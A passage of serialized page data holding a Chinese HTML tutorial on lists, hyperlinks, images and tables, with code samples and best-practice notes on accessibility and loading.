CSS。",[53,123414,123416],{"id":123415},"代码引用与其余文本标签","代码、引用与其余文本标签",[11,123418,123419],{},"正文里还有几个高频标签值得一次记牢：",[1773,123421,123422,123434,123440,123454,123463,123472,123484],{},[1662,123423,123424,123427,123428,123430,123431,161],{},[22,123425,123426],{},"\u003Ccode>"," 行内代码，通常包在 ",[22,123429,123253],{}," 里做成代码块：",[22,123432,123433],{},"\u003Cpre>\u003Ccode>…\u003C\u002Fcode>\u003C\u002Fpre>",[1662,123435,123436,123439],{},[22,123437,123438],{},"\u003Cabbr title=\"Document Object Model\">DOM\u003C\u002Fabbr>"," 首次出现的缩写给它全称，鼠标悬停和读屏都能拿到。",[1662,123441,123442,123445,123446,123449,123450,123453],{},[22,123443,123444],{},"\u003Cblockquote>"," 引用整段，",[22,123447,123448],{},"\u003Cq>"," 引用句内；",[22,123451,123452],{},"\u003Ccite>"," 标出处。",[1662,123455,123456,1901,123459,123462],{},[22,123457,123458],{},"\u003Cdel>",[22,123460,123461],{},"\u003Cins>"," 标删除与插入（价格改动、修订记录），带语义而非单纯划线。",[1662,123464,123465,123468,123469,123471],{},[22,123466,123467],{},"\u003Cs>"," 表示「已不准确」，跟 ",[22,123470,123458],{},"（内容被删除）不同。",[1662,123473,123474,1901,123477,123480,123481,161],{},[22,123475,123476],{},"\u003Csub>",[22,123478,123479],{},"\u003Csup>"," 下标上标，",[22,123482,123483],{},"H\u003Csub>2\u003C\u002Fsub>O",[1662,123485,123486,123489],{},[22,123487,123488],{},"\u003Ctime datetime=\"2026-10-03\">10 月 3 日\u003C\u002Ftime>"," 给人看中文日期，给机器读 ISO 格式，搜索引擎会用它。",[48,123491,123493],{"id":123492},"四列表","四、列表",[53,123495,123497],{"id":123496},"ul-与-ol顺序有没有意义","ul 与 ol：顺序有没有意义",[11,123499,123500,123501],{},"判断只需一个问题：",[17,123502,123503],{},"换一个顺序，内容还成立吗？",[1773,123505,123506,123512],{},[1662,123507,123508,123509,123511],{},"不成立（安装步骤、排行榜、法律条款编号）→ ",[22,123510,118238],{},"，序号本身携带信息。",[1662,123513,123514,123515,161],{},"成立（特性清单、导航项、标签云）→ ",[22,123516,123517],{},"\u003Cul>",[11,123519,123520,123522,123523,123526,123527,123530,123531,123534,123535,77476,123538,123541],{},[22,123521,118238],{}," 的三个属性很实用：",[22,123524,123525],{},"type=\"A|a|I|i|1\""," 换编号样式，",[22,123528,123529],{},"start=\"5\""," 指定起始序号，",[22,123532,123533],{},"reversed"," 倒序。给单个 ",[22,123536,123537],{},"\u003Cli>",[22,123539,123540],{},"value=\"10\""," 可以插入自定义序号。",[11,123543,123544,123545,123547,123548,123554,123555,123557],{},"圆点和数字都由 CSS 的 ",[22,123546,118386],{}," 控制，",[17,123549,123550,123551,123553],{},"「不想要圆点」不是放弃 ",[22,123552,123517],{}," 的理由","——写 ",[22,123556,112647],{}," 即可，语义保留。",[53,123559,123560],{"id":123560},"嵌套列表的正确位置",[11,123562,123563,123564,6745,123566,123568,123569,268,123571,123573,123574,24981],{},"嵌套的唯一规则：新的 ",[22,123565,123517],{},[22,123567,118238],{}," 必须放在父 ",[22,123570,123537],{},[17,123572,113880],{},"、文本之后、",[22,123575,123576],{},"\u003C\u002Fli>",[308,123578,123580],{"className":485,"code":123579,"language":487,"meta":314,"style":314},"\u003Cul>\n  \u003Cli>支持 UTF-8\n    \u003Cul>\n      \u003Cli>中文标题不乱码\u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fli>\n  \u003Cli>支持表格\u003C\u002Fli>\n\u003C\u002Ful>\n",[22,123581,123582,123590,123599,123607,123620,123628,123636,123649],{"__ignoreMap":314},[331,123583,123584,123586,123588],{"class":333,"line":334},[331,123585,510],{"class":337},[331,123587,1773],{"class":497},[331,123589,505],{"class":337},[331,123591,123592,123594,123596],{"class":333,"line":341},[331,123593,537],{"class":337},[331,123595,1662],{"class":497},[331,123597,123598],{"class":337},">支持 UTF-8\n",[331,123600,123601,123603,123605],{"class":333,"line":357},[331,123602,6036],{"class":337},[331,123604,1773],{"class":497},[331,123606,505],{"class":337},[331,123608,123609,123611,123613,123616,123618],{"class":333,"line":371},[331,123610,26621],{"class":337},[331,123612,1662],{"class":497},[331,123614,123615],{"class":337},">中文标题不乱码\u003C\u002F",[331,123617,1662],{"class":497},[331,123619,505],{"class":337},[331,123621,123622,123624,123626],{"class":333,"line":384},[331,123623,26688],{"class":337},[331,123625,1773],{"class":497},[331,123627,505],{"class":337},[331,123629,123630,123632,123634],{"class":333,"line":397},[331,123631,778],{"class":337},[331,123633,1662],{"class":497},[331,123635,505],{"class":337},[331,123637,123638,123640,123642,123645,123647],{"class":333,"line":418},[331,123639,537],{"class":337},[331,123641,1662],{"class":497},[331,123643,123644],{"class":337},">支持表格\u003C\u002F",[331,123646,1662],{"class":497},[331,123648,505],{"class":337},[331,123650,123651,123653,123655],{"class":333,"line":427},[331,123652,788],{"class":337},[331,123654,1773],{"class":497},[331,123656,505],{"class":337},[11,123658,123659,123660,123662],{},"如果误把子列表写在 ",[22,123661,123576],{}," 之后，它会变成和父列表同级，缩进全乱——而且浏览器不会报错，这是最难自查的一类问题。",[53,123664,123666],{"id":123665},"dldtdd术语表专用","dl、dt、dd：术语表专用",[11,123668,123669,123672,123673,123676,123677,123680,123681,123683,123684,123686,123687,123689,123690,123692,123693,123695],{},[22,123670,123671],{},"\u003Cdl>"," 是「描述列表」，",[22,123674,123675],{},"\u003Cdt>"," 名词、",[22,123678,123679],{},"\u003Cdd>"," 解释，适合 API 参数表、FAQ、词典条目。一个 ",[22,123682,123675],{}," 可以跟多个 ",[22,123685,123679],{},"（一词多义），也可以多个 ",[22,123688,123675],{}," 共用一个 ",[22,123691,123679],{},"（多词一义）。用 ",[22,123694,122534],{}," 假装术语表是常见错误，因为它丢掉了「这是配对关系」的结构信息。",[4748,123697],{"height":40485,"src":123698,"title":123699},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F04-lists.html","示例 04：ul \u002F ol \u002F dl 三种列表",[53,123701,123702],{"id":123702},"列表的三处常见误用",[1659,123704,123705,123713,123730],{},[1662,123706,16105,123707,123709,123710,123712],{},[22,123708,123227],{}," 或连续 ",[22,123711,122534],{}," 堆清单——读屏会播报「列表，共 3 项」，帮你数位置，堆出来的没有。",[1662,123714,123715,123716,123719,123720,4809,123723,4809,123725,4809,123727,123729],{},"站内导航写成 ",[22,123717,123718],{},"\u003Cdiv>\u003Ca>","。导航的正确形状是 ",[22,123721,123722],{},"\u003Cnav>",[22,123724,123517],{},[22,123726,123537],{},[22,123728,32551],{},"，第九章展开。",[1662,123731,123732,123733,123736],{},"表格数据用列表写、列表用 ",[22,123734,123735],{},"\u003Ctable>"," 写。判断标准：横竖都有对应关系、需要表头才能读懂 → 表格；否则列表。第七章细说。",[48,123738,123740],{"id":123739},"五超链接-a","五、超链接 a",[11,123742,123743,123745,123746,123748],{},[22,123744,32551],{}," 是 HTML 里唯一让「文档」变成「网络」的标签——",[22,123747,18762],{}," 指向另一个位置，浏览器就把两张图连成一条边。",[53,123750,123752],{"id":123751},"href-的四种路径写法","href 的四种路径写法",[11,123754,123755,123756,322],{},"假设当前页面在 ",[22,123757,123758],{},"\u002Fblog\u002F2026\u002Fintro.html",[57,123760,123761,123772],{},[60,123762,123763],{},[63,123764,123765,123767,123770],{},[66,123766,19254],{},[66,123768,123769],{},"实际指向",[66,123771,8278],{},[79,123773,123774,123789,123804,123822],{},[63,123775,123776,123781,123786],{},[84,123777,123778],{},[22,123779,123780],{},"other.html",[84,123782,123783],{},[22,123784,123785],{},"\u002Fblog\u002F2026\u002Fother.html",[84,123787,123788],{},"同目录跳转",[63,123790,123791,123796,123801],{},[84,123792,123793],{},[22,123794,123795],{},"..\u002Fimg\u002Fa.png",[84,123797,123798],{},[22,123799,123800],{},"\u002Fblog\u002Fimg\u002Fa.png",[84,123802,123803],{},"往上退一级",[63,123805,123806,123811,123816],{},[84,123807,123808],{},[22,123809,123810],{},"\u002Fimg\u002Fa.png",[84,123812,123813,123814],{},"站点根下的 ",[22,123815,123810],{},[84,123817,123818,123821],{},[17,123819,123820],{},"最推荐","，与当前页层级无关",[63,123823,123824,123829,123832],{},[84,123825,123826],{},[22,123827,123828],{},"https:\u002F\u002Fsite.com\u002Fx",[84,123830,123831],{},"站外",[84,123833,123834],{},"真的去站外时",[11,123836,123837,123839,123840,123846,123847,123849],{},[22,123838,73516],{}," 开头等于当前目录，可省略。",[17,123841,123842,123843,123845],{},"以 ",[22,123844,655],{}," 开头的路径最稳","，因为「跟着目录跑」的相对路径在部署到子目录后极易断链。本站部署在 ",[22,123848,15137],{}," 子路径下，教程里的示例统一用带前缀的站内绝对路径。",[53,123851,123853],{"id":123852},"页内锚点id-是跳转目标","页内锚点：id 是跳转目标",[11,123855,123856,123857,123859,123860,123863],{},"任何元素只要有 ",[22,123858,8521],{},"，就能被 ",[22,123861,123862],{},"#那个id"," 定位：",[308,123865,123867],{"className":485,"code":123866,"language":487,"meta":314,"style":314},"\u003Ch2 id=\"pricing\">价格\u003C\u002Fh2>\n\u003Ca href=\"#pricing\">跳到价格\u003C\u002Fa>\n",[22,123868,123869,123889],{"__ignoreMap":314},[331,123870,123871,123873,123875,123877,123879,123882,123885,123887],{"class":333,"line":334},[331,123872,510],{"class":337},[331,123874,48],{"class":497},[331,123876,827],{"class":501},[331,123878,518],{"class":337},[331,123880,123881],{"class":365},"\"pricing\"",[331,123883,123884],{"class":337},">价格\u003C\u002F",[331,123886,48],{"class":497},[331,123888,505],{"class":337},[331,123890,123891,123893,123895,123897,123899,123902,123905,123907],{"class":333,"line":341},[331,123892,510],{"class":337},[331,123894,30],{"class":497},[331,123896,18790],{"class":501},[331,123898,518],{"class":337},[331,123900,123901],{"class":365},"\"#pricing\"",[331,123903,123904],{"class":337},">跳到价格\u003C\u002F",[331,123906,30],{"class":497},[331,123908,505],{"class":337},[11,123910,123911,123912,123915,123916,123919,123920,161],{},"跨页锚点把两者拼起来：",[22,123913,123914],{},"\u002Ftutorials\u002Fhtml#表格","。旧教程里的 ",[22,123917,123918],{},"\u003Ca name=\"x\">"," 已过时，一律改用 ",[22,123921,8521],{},[11,123923,123924,123925,123928,123929,123932],{},"注意：锚点跳转是浏览器行为，CSS 的 ",[22,123926,123927],{},"scroll-behavior: smooth"," 可以让它平滑滚动，被跳转的标题需要 ",[22,123930,123931],{},"scroll-margin-top"," 才不会被吸顶导航遮住——这两条都属于 CSS，写在样式里而不是 JS。",[4748,123934],{"height":40485,"src":123935,"title":123936},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F05-links.html","示例 05：路径写法与页内锚点",[53,123938,123940],{"id":123939},"target-与-rel新标签页必须带-noopener","target 与 rel：新标签页必须带 noopener",[308,123942,123944],{"className":485,"code":123943,"language":487,"meta":314,"style":314},"\u003Ca href=\"https:\u002F\u002Fexample.com\" target=\"_blank\" rel=\"noopener\">外部站点\u003C\u002Fa>\n",[22,123945,123946],{"__ignoreMap":314},[331,123947,123948,123950,123952,123954,123956,123958,123960,123962,123964,123966,123968,123970,123973,123975],{"class":333,"line":334},[331,123949,510],{"class":337},[331,123951,30],{"class":497},[331,123953,18790],{"class":501},[331,123955,518],{"class":337},[331,123957,6226],{"class":365},[331,123959,6232],{"class":501},[331,123961,518],{"class":337},[331,123963,6237],{"class":365},[331,123965,6240],{"class":501},[331,123967,518],{"class":337},[331,123969,6245],{"class":365},[331,123971,123972],{"class":337},">外部站点\u003C\u002F",[331,123974,30],{"class":497},[331,123976,505],{"class":337},[11,123978,123979,123982,123983,123986,123987,123990,123991,123994,123995,123998],{},[22,123980,123981],{},"target=\"_blank\""," 会让被打开的页面在旧浏览器里拿到 ",[22,123984,123985],{},"window.opener","，从而能反向修改你本页地址（tabnabbing）。现代浏览器已对 ",[22,123988,123989],{},"_blank"," 隐含 ",[22,123992,123993],{},"noopener","，但显式写出更保险。加上 ",[22,123996,123997],{},"noreferrer"," 还会禁止发送来源信息，代价是对方统计里看不到你。",[11,124000,124001],{},"两条实践约定：",[1773,124003,124004,124012],{},[1662,124005,124006,124011],{},[17,124007,124008,124009],{},"站内链接不要加 ",[22,124010,123981],{},"：它切断返回路径，也多占一个标签页。",[1662,124013,124014],{},"下载链接、PDF 之类需要保留当前页时才用新标签页。",[53,124016,124017],{"id":124017},"链接文字要能被脱离上下文读懂",[11,124019,124020,124023],{},[22,124021,124022],{},"\u003Ca>点击这里\u003C\u002Fa>"," 是反例：读屏用户逐个链接浏览时只听到一串「点击这里」。把链接嵌在能独立表意的短语上：",[308,124025,124027],{"className":485,"code":124026,"language":487,"meta":314,"style":314},"\u003Cp>具体配置项见\u003Ca href=\"\u002Fdocs\u002Fconfig\">配置文件说明\u003C\u002Fa>。\u003C\u002Fp>\n",[22,124028,124029],{"__ignoreMap":314},[331,124030,124031,124033,124035,124038,124040,124042,124044,124047,124050,124052,124055,124057],{"class":333,"line":334},[331,124032,510],{"class":337},[331,124034,11],{"class":497},[331,124036,124037],{"class":337},">具体配置项见\u003C",[331,124039,30],{"class":497},[331,124041,18790],{"class":501},[331,124043,518],{"class":337},[331,124045,124046],{"class":365},"\"\u002Fdocs\u002Fconfig\"",[331,124048,124049],{"class":337},">配置文件说明\u003C\u002F",[331,124051,30],{"class":497},[331,124053,124054],{"class":337},">。\u003C\u002F",[331,124056,11],{"class":497},[331,124058,505],{"class":337},[11,124060,124061,124062,124065,124066,124068,124069,124071],{},"同理，",[22,124063,124064],{},"href=\"#\""," 的空链接会让页面滚回顶部且没有任何语义，纯按钮行为应该用 ",[22,124067,23625],{},"（第十章），不要拿 ",[22,124070,32551],{}," 冒充。",[48,124073,124075],{"id":124074},"六图片-img","六、图片 img",[11,124077,124078],{},"图片是页面里最容易「看起来正常、实际上很糟」的标签：破图、跳动、体积超标、读屏念不出来，四类问题各对应一个属性没写。",[53,124080,124082],{"id":124081},"srcaltwidthheight四个都要写","src、alt、width、height：四个都要写",[308,124084,124086],{"className":485,"code":124085,"language":487,"meta":314,"style":314},"\u003Cimg src=\"\u002Fimg\u002Fhero.webp\" alt=\"首页主图：三人协作场景\" width=\"1200\" height=\"600\" loading=\"lazy\">\n",[22,124087,124088],{"__ignoreMap":314},[331,124089,124090,124092,124094,124096,124098,124101,124104,124106,124109,124111,124113,124116,124119,124121,124124,124127,124129,124132],{"class":333,"line":334},[331,124091,510],{"class":337},[331,124093,18812],{"class":497},[331,124095,894],{"class":501},[331,124097,518],{"class":337},[331,124099,124100],{"class":365},"\"\u002Fimg\u002Fhero.webp\"",[331,124102,124103],{"class":501}," alt",[331,124105,518],{"class":337},[331,124107,124108],{"class":365},"\"首页主图：三人协作场景\"",[331,124110,114770],{"class":501},[331,124112,518],{"class":337},[331,124114,124115],{"class":365},"\"1200\"",[331,124117,124118],{"class":501}," height",[331,124120,518],{"class":337},[331,124122,124123],{"class":365},"\"600\"",[331,124125,124126],{"class":501}," loading",[331,124128,518],{"class":337},[331,124130,124131],{"class":365},"\"lazy\"",[331,124133,505],{"class":337},[1773,124135,124136,124141,124154],{},[1662,124137,124138,124140],{},[22,124139,18817],{}," 必填，路径规则同第五章。",[1662,124142,124143,124145,124146,124153],{},[22,124144,18830],{}," 必填（",[17,124147,124148,124149,124152],{},"装饰图写空字符串 ",[22,124150,124151],{},"alt=\"\"","，但不能省略属性","）。它同时是三样东西：屏幕阅读器的播报文本、图片加载失败时显示的兜底文字、搜索引擎理解图片的唯一线索。别写「图片」「photo of」这类前缀，播报本身已带「图像」提示。",[1662,124155,124156,1901,124158,124160,124161,124164,124165,124168],{},[22,124157,608],{},[22,124159,99201],{}," 写",[17,124162,124163],{},"图片固有尺寸","（不是最终显示尺寸）。浏览器据此预先算出宽高比并占好位置，图下载完页面不会「跳一下」——这个跳动会打断用户阅读，也是 Google 衡量的 CLS 指标的主要来源。显示尺寸想用 CSS 改，直接写 ",[22,124166,124167],{},"img { width: 100%; height: auto }","，比例仍由那两个属性提供。",[4748,124170],{"height":40485,"src":124171,"title":124172},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F06-image.html","示例 06：img 的四个必填属性",[53,124174,124175],{"id":124175},"格式怎么选",[57,124177,124178,124188],{},[60,124179,124180],{},[63,124181,124182,124184,124186],{},[66,124183,72794],{},[66,124185,86928],{},[66,124187,27698],{},[79,124189,124190,124201,124212,124223,124234],{},[63,124191,124192,124195,124198],{},[84,124193,124194],{},"SVG",[84,124196,124197],{},"图标、logo、图表、需要无损缩放的图形",[84,124199,124200],{},"文本型内容清晰；不适合照片；来自第三方上传的 SVG 有 XSS 风险，别直接内联",[63,124202,124203,124206,124209],{},[84,124204,124205],{},"WebP \u002F AVIF",[84,124207,124208],{},"照片、大图首选",[84,124210,124211],{},"同画质体积比 JPEG 小约三成；AVIF 更小但编码慢",[63,124213,124214,124217,124220],{},[84,124215,124216],{},"JPEG",[84,124218,124219],{},"需要兼容兜底的照片",[84,124221,124222],{},"无透明通道",[63,124224,124225,124228,124231],{},[84,124226,124227],{},"PNG",[84,124229,124230],{},"需要透明通道、或纯色大面积截图",[84,124232,124233],{},"照片用 PNG 体积通常是 JPEG 的 3–5 倍",[63,124235,124236,124239,124242],{},[84,124237,124238],{},"GIF",[84,124240,124241],{},"基本别用",[84,124243,124244,124245,124248],{},"动图改用 ",[22,124246,124247],{},"\u003Cvideo muted loop playsinline>","，体积能小一个数量级",[11,124250,124251,124252,124255,124256,124259,124260,124263],{},"需要多格式降级时套 ",[22,124253,124254],{},"\u003Cpicture>","（和第十二章 ",[22,124257,124258],{},"\u003Cvideo>"," 的多 ",[22,124261,124262],{},"\u003Csource>"," 降级是同一思路）：",[308,124265,124267],{"className":485,"code":124266,"language":487,"meta":314,"style":314},"\u003Cpicture>\n  \u003Csource srcset=\"\u002Fimg\u002Fhero.avif\" type=\"image\u002Favif\">\n  \u003Csource srcset=\"\u002Fimg\u002Fhero.webp\" type=\"image\u002Fwebp\">\n  \u003Cimg src=\"\u002Fimg\u002Fhero.jpg\" alt=\"首页主图\" width=\"1200\" height=\"600\">\n\u003C\u002Fpicture>\n",[22,124268,124269,124278,124301,124322,124356],{"__ignoreMap":314},[331,124270,124271,124273,124276],{"class":333,"line":334},[331,124272,510],{"class":337},[331,124274,124275],{"class":497},"picture",[331,124277,505],{"class":337},[331,124279,124280,124282,124284,124287,124289,124292,124294,124296,124299],{"class":333,"line":341},[331,124281,537],{"class":337},[331,124283,55942],{"class":497},[331,124285,124286],{"class":501}," srcset",[331,124288,518],{"class":337},[331,124290,124291],{"class":365},"\"\u002Fimg\u002Fhero.avif\"",[331,124293,835],{"class":501},[331,124295,518],{"class":337},[331,124297,124298],{"class":365},"\"image\u002Favif\"",[331,124300,505],{"class":337},[331,124302,124303,124305,124307,124309,124311,124313,124315,124317,124320],{"class":333,"line":357},[331,124304,537],{"class":337},[331,124306,55942],{"class":497},[331,124308,124286],{"class":501},[331,124310,518],{"class":337},[331,124312,124100],{"class":365},[331,124314,835],{"class":501},[331,124316,518],{"class":337},[331,124318,124319],{"class":365},"\"image\u002Fwebp\"",[331,124321,505],{"class":337},[331,124323,124324,124326,124328,124330,124332,124335,124337,124339,124342,124344,124346,124348,124350,124352,124354],{"class":333,"line":371},[331,124325,537],{"class":337},[331,124327,18812],{"class":497},[331,124329,894],{"class":501},[331,124331,518],{"class":337},[331,124333,124334],{"class":365},"\"\u002Fimg\u002Fhero.jpg\"",[331,124336,124103],{"class":501},[331,124338,518],{"class":337},[331,124340,124341],{"class":365},"\"首页主图\"",[331,124343,114770],{"class":501},[331,124345,518],{"class":337},[331,124347,124115],{"class":365},[331,124349,124118],{"class":501},[331,124351,518],{"class":337},[331,124353,124123],{"class":365},[331,124355,505],{"class":337},[331,124357,124358,124360,124362],{"class":333,"line":384},[331,124359,788],{"class":337},[331,124361,124275],{"class":497},[331,124363,505],{"class":337},[11,124365,124366,124367,124369,124370,124372,124373,26877,124375,124377,124378,124380],{},"浏览器从上往下挑第一个",[17,124368,19611],{},"的 ",[22,124371,124262],{},"，都不支持时落到 ",[22,124374,111319],{},[22,124376,111319],{}," 及其 ",[22,124379,18830],{}," 必须留在最后，否则降级路径和替代文本一起丢。",[53,124382,124383],{"id":124383},"懒加载与破图排查",[1773,124385,124386,124400,124406],{},[1662,124387,124388,124391,124392,124395,124396,124399],{},[22,124389,124390],{},"loading=\"lazy\"","：首屏外的图片等到接近视口才下载，长列表页收益明显。",[17,124393,124394],{},"首屏主图不要加","，反而应写 ",[22,124397,124398],{},"fetchpriority=\"high\"","，否则会被自己的懒加载推迟。",[1662,124401,124402,124405],{},[22,124403,124404],{},"decoding=\"async\"","：让图片解码不阻塞其它内容渲染。",[1662,124407,124408,124409,124411,124412,124414],{},"破图排查按顺序四步：① DevTools Network 看请求状态码；② 路径是否漏了部署前缀（本站在 ",[22,124410,15137],{}," 子路径下，写 ",[22,124413,123810],{}," 会打到域名根）；③ 文件真实扩展名与大小写是否一致（Linux 服务器区分大小写）；④ 本地双击能显示、部署后不显示 → 几乎一定是相对路径层级问题。",[48,124416,124418],{"id":124417},"七表格","七、表格",[11,124420,124421,124423,124424,124427],{},[22,124422,123735],{}," 用来呈现",[17,124425,124426],{},"需要横竖对照才能读懂的数据","。用它做页面布局是九十年代的遗产，今天由 Flex\u002FGrid 负责（见 CSS 教程第十、十一章）。",[53,124429,124430],{"id":124430},"六个结构标签",[308,124432,124434],{"className":485,"code":124433,"language":487,"meta":314,"style":314},"\u003Ctable>\n  \u003Ccaption>季度开销\u003C\u002Fcaption>\n  \u003Cthead>\u003Ctr>\u003Cth scope=\"col\">项目\u003C\u002Fth>\u003Cth scope=\"col\">金额\u003C\u002Fth>\u003C\u002Ftr>\u003C\u002Fthead>\n  \u003Ctbody>\u003Ctr>\u003Cth scope=\"row\">计算\u003C\u002Fth>\u003Ctd>1280\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\n  \u003Ctfoot>\u003Ctr>\u003Ctd>合计\u003C\u002Ftd>\u003Ctd>1950\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftfoot>\n\u003C\u002Ftable>\n",[22,124435,124436,124444,124458,124510,124554,124593],{"__ignoreMap":314},[331,124437,124438,124440,124442],{"class":333,"line":334},[331,124439,510],{"class":337},[331,124441,57],{"class":497},[331,124443,505],{"class":337},[331,124445,124446,124448,124451,124454,124456],{"class":333,"line":341},[331,124447,537],{"class":337},[331,124449,124450],{"class":497},"caption",[331,124452,124453],{"class":337},">季度开销\u003C\u002F",[331,124455,124450],{"class":497},[331,124457,505],{"class":337},[331,124459,124460,124462,124464,124466,124468,124470,124472,124475,124477,124480,124483,124485,124487,124489,124491,124493,124495,124498,124500,124502,124504,124506,124508],{"class":333,"line":357},[331,124461,537],{"class":337},[331,124463,60],{"class":497},[331,124465,7082],{"class":337},[331,124467,63],{"class":497},[331,124469,7082],{"class":337},[331,124471,66],{"class":497},[331,124473,124474],{"class":501}," scope",[331,124476,518],{"class":337},[331,124478,124479],{"class":365},"\"col\"",[331,124481,124482],{"class":337},">项目\u003C\u002F",[331,124484,66],{"class":497},[331,124486,7082],{"class":337},[331,124488,66],{"class":497},[331,124490,124474],{"class":501},[331,124492,518],{"class":337},[331,124494,124479],{"class":365},[331,124496,124497],{"class":337},">金额\u003C\u002F",[331,124499,66],{"class":497},[331,124501,902],{"class":337},[331,124503,63],{"class":497},[331,124505,902],{"class":337},[331,124507,60],{"class":497},[331,124509,505],{"class":337},[331,124511,124512,124514,124516,124518,124520,124522,124524,124526,124528,124530,124533,124535,124537,124539,124542,124544,124546,124548,124550,124552],{"class":333,"line":371},[331,124513,537],{"class":337},[331,124515,79],{"class":497},[331,124517,7082],{"class":337},[331,124519,63],{"class":497},[331,124521,7082],{"class":337},[331,124523,66],{"class":497},[331,124525,124474],{"class":501},[331,124527,518],{"class":337},[331,124529,26630],{"class":365},[331,124531,124532],{"class":337},">计算\u003C\u002F",[331,124534,66],{"class":497},[331,124536,7082],{"class":337},[331,124538,84],{"class":497},[331,124540,124541],{"class":337},">1280\u003C\u002F",[331,124543,84],{"class":497},[331,124545,902],{"class":337},[331,124547,63],{"class":497},[331,124549,902],{"class":337},[331,124551,79],{"class":497},[331,124553,505],{"class":337},[331,124555,124556,124558,124561,124563,124565,124567,124569,124572,124574,124576,124578,124581,124583,124585,124587,124589,124591],{"class":333,"line":384},[331,124557,537],{"class":337},[331,124559,124560],{"class":497},"tfoot",[331,124562,7082],{"class":337},[331,124564,63],{"class":497},[331,124566,7082],{"class":337},[331,124568,84],{"class":497},[331,124570,124571],{"class":337},">合计\u003C\u002F",[331,124573,84],{"class":497},[331,124575,7082],{"class":337},[331,124577,84],{"class":497},[331,124579,124580],{"class":337},">1950\u003C\u002F",[331,124582,84],{"class":497},[331,124584,902],{"class":337},[331,124586,63],{"class":497},[331,124588,902],{"class":337},[331,124590,124560],{"class":497},[331,124592,505],{"class":337},[331,124594,124595,124597,124599],{"class":333,"line":397},[331,124596,788],{"class":337},[331,124598,57],{"class":497},[331,124600,505],{"class":337},[1773,124602,124603,124620,124640],{},[1662,124604,124605,124607,124608,124611,124612,124615,124616,124619],{},[22,124606,123735],{}," 容器；",[22,124609,124610],{},"\u003Ctr>"," 一行；",[22,124613,124614],{},"\u003Ctd>"," 数据格；",[22,124617,124618],{},"\u003Cth>"," 表头格。",[1662,124621,124622,1901,124624,1901,124627,124630,124631,124639],{},[22,124623,114172],{},[22,124625,124626],{},"\u003Ctbody>",[22,124628,124629],{},"\u003Ctfoot>"," 把行分组。",[17,124632,124633,124635,124636,124638],{},[22,124634,124629],{}," 建议写在 ",[22,124637,124626],{}," 之后","，但浏览器会把它绘制在表格末尾——历史上为了让多页打印时表头每页重复才这么规定。",[1662,124641,124642,124645,124646,124648,124649,161],{},[22,124643,124644],{},"\u003Ccaption>"," 是这张表的标题，必须紧跟 ",[22,124647,123735],{}," 之后、且是第一个子元素。它对读屏用户的价值相当于图片的 ",[22,124650,18830],{},[4748,124652],{"height":32474,"src":124653,"title":124654},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F07-table.html","示例 07：表格的完整结构",[53,124656,124658],{"id":124657},"caption-与-th-scope让读屏知道这一格是什么","caption 与 th scope：让读屏知道这一格是什么",[11,124660,124661,124662,124665],{},"屏幕阅读器逐格朗读时，靠 ",[22,124663,124664],{},"scope"," 建立「这一格属于哪一行、哪一列」的对应关系：",[1773,124667,124668,124678,124683],{},[1662,124669,124670,124671,124674,124675,161],{},"列表头写 ",[22,124672,124673],{},"\u003Cth scope=\"col\">","，行表头写 ",[22,124676,124677],{},"\u003Cth scope=\"row\">",[1662,124679,92149,124680,124682],{},[22,124681,124664],{},"，用户念到「512」时只听得到一个孤立数字；有了它，播报是「存储，8 月，512」。",[1662,124684,124685,124686,124689,124690,161],{},"复杂表头（一格横跨多列）用 ",[22,124687,124688],{},"headers=\"格 id 列表\""," 显式关联，配合 ",[22,124691,124692],{},"\u003Cth id=\"...\">",[11,124694,124695,124697,124698,124701],{},[22,124696,124614],{}," 也能当行标题用吗？可以（第一列写成 ",[22,124699,124700],{},"\u003Ctd>计算\u003C\u002Ftd>","），但它就失去了表头语义，读屏不会把它作为对应关系播报——这是最常见的表格可访问性缺失。",[53,124703,124705],{"id":124704},"colspan-与-rowspan","colspan 与 rowspan",[11,124707,124708,124709,124718,124719,124722],{},"合并单元格只有一条铁律：",[17,124710,124711,1901,124714,124717],{},[22,124712,124713],{},"colspan",[22,124715,124716],{},"rowspan"," 写在被合并的第一个格子上，被它盖住的格子要从源码里删掉","，不能留空 ",[22,124720,124721],{},"\u003Ctd>\u003C\u002Ftd>","，否则行列整体错位。",[308,124724,124726],{"className":485,"code":124725,"language":487,"meta":314,"style":314},"\u003Ctr>\n  \u003Cth scope=\"row\" rowspan=\"2\">Nuxt\u003C\u002Fth>\n  \u003Ctd>3.12\u003C\u002Ftd>\u003Ctd>2024-07\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n  \u003C!-- 这里没有第一个格子，被上面的 rowspan 占了 -->\n  \u003Ctd>4.0\u003C\u002Ftd>\u003Ctd>2025-07\u003C\u002Ftd>\n\u003C\u002Ftr>\n",[22,124727,124728,124736,124763,124785,124793,124801,124806,124828],{"__ignoreMap":314},[331,124729,124730,124732,124734],{"class":333,"line":334},[331,124731,510],{"class":337},[331,124733,63],{"class":497},[331,124735,505],{"class":337},[331,124737,124738,124740,124742,124744,124746,124748,124751,124753,124756,124759,124761],{"class":333,"line":341},[331,124739,537],{"class":337},[331,124741,66],{"class":497},[331,124743,124474],{"class":501},[331,124745,518],{"class":337},[331,124747,26630],{"class":365},[331,124749,124750],{"class":501}," rowspan",[331,124752,518],{"class":337},[331,124754,124755],{"class":365},"\"2\"",[331,124757,124758],{"class":337},">Nuxt\u003C\u002F",[331,124760,66],{"class":497},[331,124762,505],{"class":337},[331,124764,124765,124767,124769,124772,124774,124776,124778,124781,124783],{"class":333,"line":357},[331,124766,537],{"class":337},[331,124768,84],{"class":497},[331,124770,124771],{"class":337},">3.12\u003C\u002F",[331,124773,84],{"class":497},[331,124775,7082],{"class":337},[331,124777,84],{"class":497},[331,124779,124780],{"class":337},">2024-07\u003C\u002F",[331,124782,84],{"class":497},[331,124784,505],{"class":337},[331,124786,124787,124789,124791],{"class":333,"line":371},[331,124788,788],{"class":337},[331,124790,63],{"class":497},[331,124792,505],{"class":337},[331,124794,124795,124797,124799],{"class":333,"line":384},[331,124796,510],{"class":337},[331,124798,63],{"class":497},[331,124800,505],{"class":337},[331,124802,124803],{"class":333,"line":397},[331,124804,124805],{"class":1003},"  \u003C!-- 这里没有第一个格子，被上面的 rowspan 占了 